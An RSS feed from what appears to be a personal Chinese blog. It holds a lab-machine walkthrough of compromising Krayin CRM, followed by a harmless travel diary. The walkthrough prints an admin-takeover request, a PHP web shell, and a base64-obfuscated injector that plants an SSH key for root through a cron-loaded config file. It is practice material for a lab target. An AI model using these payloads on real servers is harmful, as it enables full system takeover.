<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Clairis&apos;s Blog</title><description>欢迎来到 Clairis 的博客</description><link>https://clairis.cn/</link><language>zh_CN</language><item><title>Krayin2 靶机渗透记录</title><link>https://clairis.cn/posts/11krayin2/</link><guid isPermaLink="true">https://clairis.cn/posts/11krayin2/</guid><description>Krayin2 靶机实战记录：管理员账号接管、邮件附件上传与提权。</description><pubDate>Thu, 22 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Krayin2&lt;/h1&gt;
&lt;h2&gt;一、信息收集&lt;/h2&gt;
&lt;p&gt;端口枚举&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -Pn -sV -p- 192.168.56.124
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22/tcp  SSH
80/tcp  HTTP Apache/PHP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Web 应用为 Krayin CRM。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、管理员账号接管&lt;/h2&gt;
&lt;p&gt;Krayin 安装接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /install/api/admin-config-setup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该接口在已安装状态下仍可通过 AJAX 请求访问。&lt;/p&gt;
&lt;p&gt;请求头：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求体：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;admin&quot;: &quot;clairis&quot;,
  &quot;email&quot;: &quot;clairis@qq.com&quot;,
  &quot;password&quot;: &quot;clairis&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接口响应：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明管理员账号修改成功。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;img-001.png&quot; alt=&quot;管理员配置接口响应&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用修改后的账号登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;邮箱：clairis@qq.com
密码：clairis
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.56.124/admin/login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-002.png&quot; alt=&quot;使用新管理员账号登录&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、后台邮件附件任意文件上传&lt;/h2&gt;
&lt;h3&gt;漏洞原理&lt;/h3&gt;
&lt;p&gt;邮件附件处理逻辑会保留客户端提交的原始文件名：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$name = $attachment-&amp;gt;getClientOriginalName();
$path = &apos;emails/&apos;.$email-&amp;gt;id.&apos;/&apos;.$name;
Storage::put($path, $content);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此上传名为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;的文件后，服务器仍会按照 &lt;code&gt;.php&lt;/code&gt; 文件保存。&lt;/p&gt;
&lt;p&gt;同时，Krayin 默认文件系统为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FILESYSTEM_DISK=public
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文件会保存到公开存储目录，并通过 &lt;code&gt;/storage/&lt;/code&gt; 路径访问。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、查询flag位置&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;find.php&lt;/code&gt;文件内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
echo &quot;&amp;lt;pre&amp;gt;&quot;;
passthru(&apos;find / -type f \( -name &quot;user.txt&quot; -o -name &quot;root.txt&quot; \) 2&amp;gt;/dev/null&apos;);
echo &quot;&amp;lt;/pre&amp;gt;&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-003.png&quot; alt=&quot;上传 find.php 附件&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;img-004.png&quot; alt=&quot;查看上传后的附件路径&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.56.124/storage/emails/4/find.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;code&gt;user.txt&lt;/code&gt;文件位置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;img-005.png&quot; alt=&quot;查询 user.txt 文件位置&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;五、读取 User Flag&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;user.php&lt;/code&gt; 文件内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo file_get_contents(&quot;/home/krayin2/user.txt&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{user-264c3c61377a11b4e87719452871b4db}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-006.png&quot; alt=&quot;读取 User Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root.txt&lt;/code&gt; 对 &lt;code&gt;apache&lt;/code&gt; 不可读，需要提权&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;六、提权&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;apache 身份执行
&lt;code&gt;cmd.php&lt;/code&gt;内容&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(isset($_GET[&quot;c&quot;])){ system($_GET[&quot;c&quot;].&quot; 2&amp;gt;&amp;amp;1&quot;); } ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传cmd.php并访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.56.124/storage/emails/5/cmd.php?c=id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-007.png&quot; alt=&quot;Apache 身份执行命令&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确认注入点可写、定时任务存在&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;curl --get &quot;http://192.168.56.124/storage/emails/5/cmd.php&quot; --data-urlencode &quot;c=ls -la /var/www/krayin/bootstrap/cache/config.php; echo ---; head -5 /usr/local/sbin/krayin-scheduler.sh&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-008.png&quot; alt=&quot;确认配置文件和定时任务&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;root&lt;/code&gt; 的 &lt;code&gt;cron&lt;/code&gt; 每分钟执行 &lt;code&gt;/usr/local/sbin/krayin-scheduler.sh&lt;/code&gt;，内容为 &lt;code&gt;cd /var/www/krayin &amp;amp;&amp;amp; php83 artisan schedule:run&lt;/code&gt;；&lt;code&gt;Laravel&lt;/code&gt; 启动时加载 &lt;code&gt;bootstrap/cache/config.php&lt;/code&gt;。把&lt;code&gt; PHP&lt;/code&gt; 片段写到该文件头部，&lt;code&gt;root&lt;/code&gt; 加载时就会执行。片段用 &lt;code&gt;posix_geteuid()===0&lt;/code&gt;守卫，&lt;code&gt;apache&lt;/code&gt; 的普通请求不会触发。&lt;/li&gt;
&lt;li&gt;Kali 侧生成钥匙并注入公钥
在kali生成新密钥对：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen -t ed25519 -f ~/rootk_kali -N &quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确认公钥内容（应以 &lt;code&gt;ssh-ed25519&lt;/code&gt; 开头）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PUB=$(cat ~/rootk_kali.pub); echo &quot;PUB=[$PUB]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用模板生成注入器（&lt;code&gt;__PUB__&lt;/code&gt; 替换为公钥），并确认文件里真有公钥：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;PD9waHAKJHA9Jy92YXIvd3d3L2tyYXlpbi9ib290c3RyYXAvY2FjaGUvY29uZmlnLnBocCc7CiRsPWZpbGUoJHApOwp3aGlsZSgkbCAmJiBzdHJwb3MoJGxbMF0sIjw/cGhwIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpIik9PT0wKXthcnJheV9zaGlmdCgkbCk7fQokYz1pbXBsb2RlKCcnLCRsKTsKJHg9Ijw/cGhwIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpJiZwb3NpeF9nZXRldWlkKCk9PT0wKXtAbWtkaXIoJy9yb290Ly5zc2gnLDA3MDAsdHJ1ZSk7QGZpbGVfcHV0X2NvbnRlbnRzKCcvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cycsXCJfX1BVQl9fXG5cIik7QGNobW9kKCcvcm9vdC8uc3NoJywwNzAwKTtAY2htb2QoJy9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzJywwNjAwKTt9ID8+XG4iOwpmaWxlX3B1dF9jb250ZW50cygkcCwkeC4kYyk7CmVjaG8gImluamVjdGVkXG4iOwo=&apos; | base64 -d | sed &quot;s|__PUB__|$PUB|&quot; &amp;gt; /tmp/inj_key.php; grep -c &apos;ssh-ed25519&apos; /tmp/inj_key.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出 &lt;code&gt;1&lt;/code&gt; 后继续。
通过&lt;code&gt;WebShell&lt;/code&gt;发送注入器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;B64=$(base64 -w0 /tmp/inj_key.php); curl --get &quot;http://192.168.56.124/storage/emails/5/cmd.php&quot; --data-urlencode &quot;c=echo &apos;$B64&apos; | base64 -d &amp;gt; /tmp/inj.php &amp;amp;&amp;amp; /usr/bin/php83 /tmp/inj.php 2&amp;gt;&amp;amp;1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出 &lt;code&gt;injected&lt;/code&gt;。再确认公钥确实写进了&lt;code&gt; config.php&lt;/code&gt; 头部：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --get &quot;http://192.168.56.124/storage/emails/5/cmd.php&quot; --data-urlencode &quot;c=head -c 400 /var/www/krayin/bootstrap/cache/config.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Kali上&lt;code&gt;SSH&lt;/code&gt;登录&lt;code&gt;root&lt;/code&gt;
等一个&lt;code&gt;cron&lt;/code&gt;周期后从kali连接&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sleep 70;ssh -i ~/rootk_kali -o StrictHostKeyChecking=no root@192.168.56.124   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-009.png&quot; alt=&quot;通过 SSH 获取 Root Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到&lt;code&gt;root flag&lt;/code&gt;
&lt;code&gt;flag{root-da0436d5da0ca591f0cffe0e6936b64b}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>国庆出游记录</title><link>https://clairis.cn/posts/19%E5%8D%81%E4%B8%80%E5%81%87%E6%9C%9F%E5%87%BA%E6%B8%B8/</link><guid isPermaLink="true">https://clairis.cn/posts/19%E5%8D%81%E4%B8%80%E5%81%87%E6%9C%9F%E5%87%BA%E6%B8%B8/</guid><pubDate>Tue, 13 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;初中时地理老师会给我们放《航拍中国》，直升机视角下的山川湖泊、人文习俗给小小的我带来了极大的震撼与憧憬。但受限于学业繁重与父母对旅行并不感冒，所以在上大学前我也只是在小学的时候去过成都和昆明。高三后期最难熬的时候大家都在讨论高考假怎么旅游，但是高考完后被母亲无情泼了盆冷水。于是那个本该是最轻松最长最没有顾虑的暑假，我在家里面一边被迫听网课一边羡慕朋友圈的好朋友都在到处旅游。（虽然那时是因为还没有成年，但还是好可惜&lt;/p&gt;
&lt;p&gt;后面来北京读书，最开始还是和几个高中好朋友有联系，但大家好像都比较胆小，国庆也只是约着在北京爬香山，没有人提出去别的地方旅游（其实提出了也不敢）。&lt;/p&gt;
&lt;p&gt;胆子开始变大是在大一上学期末的时候，和另一位在天津的同学约好去找她玩。但很遗憾的是他们学院临时通知周末有活动，我又实在不甘心，约了位舍友在早上六点坐高铁去了天津。但那次又因为前一天睡太晚了，在天津吃了顿很多种类的早餐后困得不行在地铁上一直睡，最后草草吃了顿晚饭就回北京了。&lt;/p&gt;
&lt;p&gt;从小对“杏花春雨江南”有着很强的滤镜，再加上中传的读书周和五一连放（读书周景区没什么人），于是在五一前一个月和舍友约好五一去苏州玩，参考了很多教程做了一份满满当当的攻略，但很可惜的是舍友临时有事，自己玩又不好玩，于是在放假前一天给妹妹和妈妈买了去上海的机票。可能是和妹妹差三岁和母亲差辈分（有代沟），五一之行的景色是很美的，当然心情也很好，但总感觉差一点趣味。&lt;/p&gt;
&lt;p&gt;所以直到那时我都没有经历过一次和同龄人出去旅游的经历。&lt;/p&gt;
&lt;p&gt;暑期线下实践汇聚了从各个学校各个地区来的大一大二大三的学生，在可能一百多人中我们十多个人在机缘巧合之下组成了一队。最开始我以为大家可能就工作上进行一些简单的交流，其他时候安静干活不会再有任何交流，十多个陌生人在北京待几天后又回到自己的学校自己的生活。关系拉近是在一天晚上，大家莫名其妙地聊到了专业，聊到了学校。当然仅靠一天晚上就拉近距离是不可能的，但后面确实组内氛围没有那么压抑了。&lt;/p&gt;
&lt;p&gt;我是一个不是很爱社交的人，大学读了一年也没把班上同学认全，打游戏碰到厉害的网友也只是加上好友就没了。如果你在暑假前告诉我我之后会和三个外校的不是高中同学的人玩得很好，我会觉得你一点也不了解我。&lt;/p&gt;
&lt;p&gt;但我确实在这十五天重新感受到了久违的高中的社交感觉——大家每天从早上八点到会场一直到下午六点才离开，中间这么长的时间都在一起。大家莫名其妙开始聊天，之后互相感叹为什么这么难，偷偷在不想完成任务时溜出去打王者荣耀（四个人有三个辅助一个射手，还一直输）……第一次七个人去玩密室逃脱出来后意犹未尽，决定第二天再去玩一次，但可惜的是第二次就只有四个人了。&lt;/p&gt;
&lt;p&gt;我也是一个对友情很悲观的人，线下结束回家的路上我有点遗憾，我们暑期的王者小分队+密逃小分队可能就这么随着线下实践的结束而冷清了，但好像一直活到了现在。缘分真是一个很奇妙的东西。&lt;/p&gt;
&lt;p&gt;于是我们在国庆前计划我们的国庆之旅，六天五城，我感受了不一样的旅行体验。接下来就是正文了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;（能和几个精力和消费习惯都相近的好朋友出去旅行真的很幸福）&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;行程梳理&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;日期&lt;/th&gt;
&lt;th&gt;行程记录&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10.2&lt;/td&gt;
&lt;td&gt;去天津蓟县，下地铁时碰到鼠鼠；在天津吃羊汤，下午去九山顶玩，晚上回北京。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10.3&lt;/td&gt;
&lt;td&gt;早上休息、收拾行李；下午坐高铁去沈阳，晚上吃刘牌牌烧烤。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10.4&lt;/td&gt;
&lt;td&gt;早上坐高铁去本溪，租车前往关门山国家森林公园；晚上回沈阳去洗浴中心。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10.5&lt;/td&gt;
&lt;td&gt;下午从沈阳租车开去营口。城区的海已经退潮，又开车五十多公里去找海；回酒店后在楼下打了一小时台球。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10.6&lt;/td&gt;
&lt;td&gt;早上五点起床去鸟浪广场看红海滩和日出；坐高铁去长白山，中午到后放下行李，去露水河漂流。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10.7&lt;/td&gt;
&lt;td&gt;爬长白山西坡看天池，去锦江大峡谷；晚上坐高铁回沈阳。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10.8&lt;/td&gt;
&lt;td&gt;凌晨两点坐高铁回北京，早上六点到宿舍。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;🍖 觅食组——嘴哥
📸 出片组——鼠鼠
📝 攻略组——园长
🎫 票务组——我&lt;/p&gt;
&lt;h1&gt;10.2——天津蓟州&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;六点起床赶火车，在下地铁时碰到了小伙伴鼠鼠，我们在极限卡点中成功上车。一个多小时的车程，我俩一个“举头望明月”，一个“低头思故乡”，竟然也能在吵吵闹闹的火车上睡着了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-train-platform.webp&quot; alt=&quot;赶火车时的站台&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;下火车后因为园长还有一段时间才到，我们跟着嘴哥去吃了碗羊汤。羊汤挺香的而且不像预制菜，但有点可惜我不爱吃内脏（那个汤超级香超级好喝）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-lamb-soup.webp&quot; alt=&quot;天津的羊汤&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;吃完了园长还没到，我们又在附近的独乐寺逛街，花15大洋买了碗超级难吃的刨冰（真的超级难吃，劣质水果罐头和颗粒有点大的冰）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-dessert.webp&quot; alt=&quot;在天津买到的刨冰&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最后我们三坐在路边，看路人逗弄他的超级可爱的小奶狗。最后在刨冰一半化水的时候等到了园长（园长没带眼镜第一眼没认出来）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-dog.webp&quot; alt=&quot;路边遇见的小奶狗&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;既然来都来了，那去独乐寺看看吧。不过我们不信教，所以只是看看&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-temple.webp&quot; alt=&quot;独乐寺的屋顶雕塑&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;吃完午饭后我们坐上嘴哥的爱车前往九山顶，一个半小时我们三在车上睡得不知天地为何物，徒留嘴哥一人开车。&lt;/li&gt;
&lt;li&gt;九山顶真的很好玩！园长恐高，走玻璃栈道的时候一直拉着我的书包带子喊我走慢点；鼠子在坐滑索的时候跳手势舞；骑空中自行车但在中间被风吹的车一直晃；高空蹦床嬉戏，一直在喊不打了不打了但无人理会；漂流时园长一直在“乐迪加速”；坐小缆车回到半山腰，看到了超级美丽的晚霞（当然我拍的不好看）……最后我们又坐上嘴哥的爱车，在音乐中回到蓟县吃烧烤（超级超级超级好吃）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;3&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-group-art.webp&quot; alt=&quot;秋林合照手绘注释&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-mountain-art.webp&quot; alt=&quot;暮色山谷水彩明信片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1002-dusk-drive.webp&quot; alt=&quot;回程路上看到的晚霞&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h1&gt;10.3——去沈阳&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;一直说着要收拾行李，最后在3号早上终于收拾完了；中午在大悦城找了家火锅店（山缓缓），只有漂亮没有饭，追求吃饱和性价比就算了。吃完火锅没赶上高铁，在发车前几分钟临时改签了。园长收拾东西时突然找不到房卡，最后到沈阳后从口袋里翻出来了。&lt;/li&gt;
&lt;li&gt;去沈阳的高铁上网络竟然还不错，打了几把终极觉醒给园长展示了一手超标杨玉环。&lt;/li&gt;
&lt;li&gt;到沈阳其实也才下午五六点但那边已经天黑了，在嘴哥的带领下我们去吃刘牌牌烧烤。好快乐，园长和嘴哥一直在烤肉，我什么都不用做专心品尝美食。碰到这种能做选择还会干活的好朋友就偷着乐吧&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;10.4——本溪&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;在小红书上看到本溪的枫叶很好看，我们又买了去本溪的高铁票，在本溪租了一辆又贵又臭的车开车去关门山森林公园，依旧嘴哥开车我们在车上睡觉。&lt;/li&gt;
&lt;li&gt;花40坐小船欣赏了一公里的美景，又坐了一辆臭臭的景区大巴车上山，然后又花了应该两三个小时走下山。可能去的时间太早了，枫叶其实都没红但也挺好看的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;6&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-boat-ride.webp&quot; alt=&quot;关门山的小船&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-waterfall.webp&quot; alt=&quot;关门山的瀑布&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-cliff-inscription.webp&quot; alt=&quot;关门山的石壁题字&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-park-entrance.webp&quot; alt=&quot;关门山国家地质公园入口&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-forest-bridge.webp&quot; alt=&quot;关门山林间步道&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-forest-stream.webp&quot; alt=&quot;关门山的溪流&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;回沈阳后去吃大名鼎鼎的铁锅炖，大家都饿的不行了结果菜上来后告诉我们要等一小时。很好吃超级好吃，还想吃。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;4&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-iron-pot.webp&quot; alt=&quot;铁锅炖的菜&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-restaurant-interior.webp&quot; alt=&quot;铁锅炖店内一角&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-restaurant-wall.webp&quot; alt=&quot;铁锅炖店里的装饰&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1004-restaurant-sign.webp&quot; alt=&quot;铁锅炖店铺招牌&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;吃完后去体验北方的洗浴文化，我这个纯种南方人很无措很羞耻很害怕（那个按摩按得我有点疼）&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;10.5——营口&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;5号等我们睡醒收拾完租好车已经下午了，原定的去营口海边看日落的计划被迫改为在高速路上追晚霞。于是我们听着吵吵闹闹的歌，聊着乱七八糟的话题——像回到了小时候，一群人开心地叽叽喳喳坐上去春游的车。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-drive-sunset-1.webp&quot; alt=&quot;车窗外的晚霞和城市&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-drive-sunset-2.webp&quot; alt=&quot;去营口路上的落日&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;吃完晚饭后天已经很黑了，但大家一直惦记着我说没看过海，带我在城区找海无果，于是驱车到五十多公里外的海滨公园，光明正大地走过门禁，打着手机手电筒在漆黑的有点寒冷的夜里寻找能够下到海边的路。因为没有灯光污染，我第一次看见这么多这么亮的星星，在海边捡贝壳时被海水浸湿了鞋子，海浪裹挟着的风有股淡淡的鱼腥味。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;5&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-seashells.webp&quot; alt=&quot;在海边捡到的贝壳&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-seaside-night-postcard.webp&quot; alt=&quot;营口海边夜景水彩明信片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-starry-sky.webp&quot; alt=&quot;夜空和树梢上的星星&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-night-harbor.webp&quot; alt=&quot;海边夜空下停泊的小船&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1005-night-windmill.webp&quot; alt=&quot;夜晚的风车&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;真的 特别 感动&lt;/li&gt;
&lt;li&gt;回去后酒店楼下的台球馆还没关门，我们想着多睡一小时少睡一小时一样困，索性又去台球馆玩了一小时。之前只在电视中看到过打台球，第一次上手我连球都戳不到（哭），玩了会终于能打到球了但台球馆要关门了，遗憾离场。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;10.6——营口到长白山&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;回到酒店已经两点了，睡了三小时五点起床收拾东西去看日出。营口的红海滩真的很好看，但可惜我们的时间有点紧迫，刚到海边看了五分钟就得赶往高铁站了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;4&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-sunrise-drive-1.webp&quot; alt=&quot;营口日出时路上的晚霞&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-sunrise-drive-2.webp&quot; alt=&quot;营口日出时的街景&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-red-wetland-postcard.webp&quot; alt=&quot;红色湿地水彩明信片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-red-beach-sunrise.webp&quot; alt=&quot;清晨的红海滩&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在高铁上园长鼠子和我三个命苦的孩子，一直在赶作业&lt;/li&gt;
&lt;li&gt;中午十二点我们到达了白山市，刚下高铁就被震撼了，急匆匆到酒店放下行李就赶往露水河。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-changbai-station-view-1.webp&quot; alt=&quot;白山市站外的长白山雪景&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-changbai-station-view-2.webp&quot; alt=&quot;白山市站外远望长白山&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;十多度的白山市，我以为我们的漂流是在船上看风景，但现实是四个人两艘船在松花江寒冷的江水中拿着水枪和浆板互相泼水，最后大家打着哆嗦回到了酒店。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1006-autumn-lake-postcard.webp&quot; alt=&quot;白山市秋日湖泊水彩明信片&quot; /&gt;&lt;/p&gt;
